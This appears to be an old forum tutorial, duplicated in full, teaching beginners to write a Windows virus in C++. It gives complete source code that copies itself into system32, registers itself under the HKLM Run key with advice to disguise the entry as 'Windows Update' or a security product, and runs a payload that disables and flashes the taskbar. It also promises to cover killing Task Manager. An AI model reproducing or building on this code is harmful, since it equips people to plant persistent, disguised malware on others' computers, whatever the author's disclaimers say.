C++ Viruse Writing Guide
Guide to simple C++ Viruses
Ok first off I’d like to say 2 things:
1. This guide is only intended for people who want to learn
2. I don’t condone releasing viruses in any way
Taking the above into consideration I’d like to say welcome to the world of virus programming I’m hoping upon reading this you well become as fascinated by viruses as I am and continue to study and write new unique viruses.
Most of the virus writing guides I’ve seen are lengthy, boring and out of date, this guide will try to be the opposite short, fun and to the point. Now this is what you will need to start programming:
Win32 API Reference <- Not Required but very helpful
A C++ Compiler – I Recommend DEV for people who do not wish to buy and Microsoft Visual C++ 6.0 for people with money and serious programmers, however DEV works fine.
Even if you have never programmed before you should be able to carry along with this one, but it helps if you know a little bit of C++.
Ok lets begin fire up DEV or MSVC and select new Win32 GUI for DEV users and Win32 for MSVC. Now with DEV it makes some generated code for GUI apps, delete it all leaving something like this:
Now compile and run the code nothing should happen (if a black window pops up it means you didn’t goto win32) The reason nothing happened is because or program doesn’t do anything. It runs and exits we need to make it do something first of all add this code to the project in between the { } and before return 0;.
MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);
Now compile and run the program again A message box should pop up, cool ay? But its not much of a virus lets make it do some cool stuff. Add the following code to your project:
Once again make sure the code is before return 0; and the { }.Ok compile and run the code, now open up the system32 directory in you windows folder (for those who don’t know goto run in the startbar and type: %windir%\system32
Ok look for a file called virus.exe in the system32 folder. Don’t believe me that its our virus? Run the file it should come up with a message box saying “Hello”.
Cool is it not? Ok time to explain how this works:
char sytem[MAX_PATH]; This is the buffer to hold the system32 directory.
char pathtofile[MAX_PATH]; This is the buffer to hold the path to our virus.
HMODULE GetModH = GetModuleHandle(NULL); This one my be hard to grasp for some but bare with me. GetModH holds the handle to our virus GetModuleHandle() gets the handle and stores it there.
GetModuleFileName(GetModH,pathtofile,sizeof(pathto file)); This gets the FileName of our virus using the handle we got before and storing the path to it in pathtofile.
GetSystemDirectory(system,sizeof(system)); Basically this finds out what your system directory is. Remember not everyone’s window’s directory is c:\windows\system32. Mine is d:\winnt\system32 on this box, the reason for this is we want to copy to an existent system32 directory.
strcat(system,”\\virus.exe”); Ok we have the system32 directory c:\windows\system32 or whatever now we need a place to copy to. This function binds to strings together to form one. So our system buffer now says:
c:\windows\system32\virus.exe or whatever the case maybe. Note \\ is not a typo \\ is how c++ interprets \. A single \ is seen by c++ as an escape character and if you have one your virus will not work!
CopyFile(pathtofile,system,false); Pretty self explanatory copy from were our virus is to were we want it to be. What false means if virus.exe already exists it will copy over it, to stop this change false to true (leave it as false for this tutorial).
Ok that’s it next we are going add code so it will startup when the computer boots. We are going to use an 3 API calls to accomplish this
RegOpenKeyEx(); This opens the key we want to write to
RegSetValueEx(); This sets our value
RegCloseKey(); This closes the key
Time to add code to our fledgling virus
Ok obviously this is going to need an more of an explanation than before. HKEY hKey is the buffer that holds the data for calls to the registry nothing else about this except you need it. RegOpenKeyEx Opens the key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run this is the key for starting up for all users which is what we want. 0 is reserved and needs to stay 0. We want to open up the key with set permissions that’s why we use KEY_SET_VALUE. And then we add the buffer.
The next call: hKey is the buffer “Writing to the registry example” is the message to appear in the key you can change this to something less obviously like “Windows Update” or “Norton Security Shield” anyway be creative. The next zero is the same as above reserved needs to stay 0. REG_SZ is the type of key we want. There are other types like REG_BINARY and REG_DWORD but we are using REG_SZ which is for text. (const unsigned char*) formats our string to a const unsigned char * because it doesn’t accept normal chars. system is the buffer that holds the path to our virus and the final part is the size of the string, this is calculated automatically by using sizeof.
The next call closes the registry key.
Ok add this to you code so it looks something like:
Now run you code and open up regedit and browse to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run there should be a new key in the area to the right our key!
Now comes the fun part of writing a virus the payload! This could be anywhere from a DdoS to making the cursor jump around the screen. Note destructive payloads are lame and frowned upon by the virus community, so do you self a favour and get the idea of destroying computers out of your mind. Besides writing a non destructive payload is more fun. Lets go with a payload I’ve written and christened The Flasher.
Your code should now look like this with the payload attached:
Although small don’t underestimate this payload it is very annoying try it. To fix your startbar ctrl-alt-delete find virus.exe end the process. Then find explorer.exe end it. Finally while still in task manager goto file run and type “explorer.exe” without the quotes. If that doesn’t work change EnableWindow and ShowWindow to true instead of false, remember to change it back later though.
That’s it for now I’ll go in depth about Finding Windows and such next time. I’ll also teach you how to kill taskmanager. Keep experimenting there are hundreds of API calls you can use try them out. If you run into an error try and figure out what went wrong 95% of all errors are spelling mistakes.
Keep Programming,
By: SaMaN "The EthiCal H4x0R"
Ok first off I’d like to say 2 things:
1. This guide is only intended for people who want to learn
2. I don’t condone releasing viruses in any way
Taking the above into consideration I’d like to say welcome to the world of virus programming I’m hoping upon reading this you well become as fascinated by viruses as I am and continue to study and write new unique viruses.
Most of the virus writing guides I’ve seen are lengthy, boring and out of date, this guide will try to be the opposite short, fun and to the point. Now this is what you will need to start programming:
Win32 API Reference <- Not Required but very helpful
A C++ Compiler – I Recommend DEV for people who do not wish to buy and Microsoft Visual C++ 6.0 for people with money and serious programmers, however DEV works fine.
Even if you have never programmed before you should be able to carry along with this one, but it helps if you know a little bit of C++.
Ok lets begin fire up DEV or MSVC and select new Win32 GUI for DEV users and Win32 for MSVC. Now with DEV it makes some generated code for GUI apps, delete it all leaving something like this:
Quote:
| #include int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil) { return 0; } |
MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);
Now compile and run the program again A message box should pop up, cool ay? But its not much of a virus lets make it do some cool stuff. Add the following code to your project:
Quote:
| char system[MAX_PATH]; char pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); GetModuleFileName(GetModH,pathtofile,sizeof(pathto file)); GetSystemDirectory(system,sizeof(system)); strcat(system,”\\virus.exe”); CopyFile(pathtofile,system,false); MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK); |
Ok look for a file called virus.exe in the system32 folder. Don’t believe me that its our virus? Run the file it should come up with a message box saying “Hello”.
Cool is it not? Ok time to explain how this works:
char sytem[MAX_PATH]; This is the buffer to hold the system32 directory.
char pathtofile[MAX_PATH]; This is the buffer to hold the path to our virus.
HMODULE GetModH = GetModuleHandle(NULL); This one my be hard to grasp for some but bare with me. GetModH holds the handle to our virus GetModuleHandle() gets the handle and stores it there.
GetModuleFileName(GetModH,pathtofile,sizeof(pathto file)); This gets the FileName of our virus using the handle we got before and storing the path to it in pathtofile.
GetSystemDirectory(system,sizeof(system)); Basically this finds out what your system directory is. Remember not everyone’s window’s directory is c:\windows\system32. Mine is d:\winnt\system32 on this box, the reason for this is we want to copy to an existent system32 directory.
strcat(system,”\\virus.exe”); Ok we have the system32 directory c:\windows\system32 or whatever now we need a place to copy to. This function binds to strings together to form one. So our system buffer now says:
c:\windows\system32\virus.exe or whatever the case maybe. Note \\ is not a typo \\ is how c++ interprets \. A single \ is seen by c++ as an escape character and if you have one your virus will not work!
CopyFile(pathtofile,system,false); Pretty self explanatory copy from were our virus is to were we want it to be. What false means if virus.exe already exists it will copy over it, to stop this change false to true (leave it as false for this tutorial).
Ok that’s it next we are going add code so it will startup when the computer boots. We are going to use an 3 API calls to accomplish this
RegOpenKeyEx(); This opens the key we want to write to
RegSetValueEx(); This sets our value
RegCloseKey(); This closes the key
Time to add code to our fledgling virus
Quote:
| HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microso ft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE, &hKey ); RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system)); RegCloseKey(hKey); |
The next call: hKey is the buffer “Writing to the registry example” is the message to appear in the key you can change this to something less obviously like “Windows Update” or “Norton Security Shield” anyway be creative. The next zero is the same as above reserved needs to stay 0. REG_SZ is the type of key we want. There are other types like REG_BINARY and REG_DWORD but we are using REG_SZ which is for text. (const unsigned char*) formats our string to a const unsigned char * because it doesn’t accept normal chars. system is the buffer that holds the path to our virus and the final part is the size of the string, this is calculated automatically by using sizeof.
The next call closes the registry key.
Ok add this to you code so it looks something like:
Quote:
| #include int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil) { char system[MAX_PATH]; char pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); GetModuleFileName(GetModH,pathtofile,sizeof(pathto file)); GetSystemDirectory(system,sizeof(system)); strcat(system,”\\virus.exe”); CopyFile(pathtofile,system,false); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microso ft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE, &hKey ); RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system)); RegCloseKey(hKey); return 0; } |
Now comes the fun part of writing a virus the payload! This could be anywhere from a DdoS to making the cursor jump around the screen. Note destructive payloads are lame and frowned upon by the virus community, so do you self a favour and get the idea of destroying computers out of your mind. Besides writing a non destructive payload is more fun. Lets go with a payload I’ve written and christened The Flasher.
Your code should now look like this with the payload attached:
Quote:
| #include int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil) { char system[MAX_PATH]; char pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); GetModuleFileName(GetModH,pathtofile,sizeof(pathto file)); GetSystemDirectory(system,sizeof(system)); strcat(system,”\\virus.exe”); CopyFile(pathtofile,system,false); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microso ft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE, &hKey ); RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system)); RegCloseKey(hKey); HWND hWin; hWin = FindWindow("Shell_TrayWnd",NULL); EnableWindow(hWin,false); while(1==1) { ShowWindow(hWin,false); Sleep(1000); ShowWindow(hWin,true); Sleep(1000); } return 0; } |
That’s it for now I’ll go in depth about Finding Windows and such next time. I’ll also teach you how to kill taskmanager. Keep experimenting there are hundreds of API calls you can use try them out. If you run into an error try and figure out what went wrong 95% of all errors are spelling mistakes.
Keep Programming,
By: SaMaN "The EthiCal H4x0R"
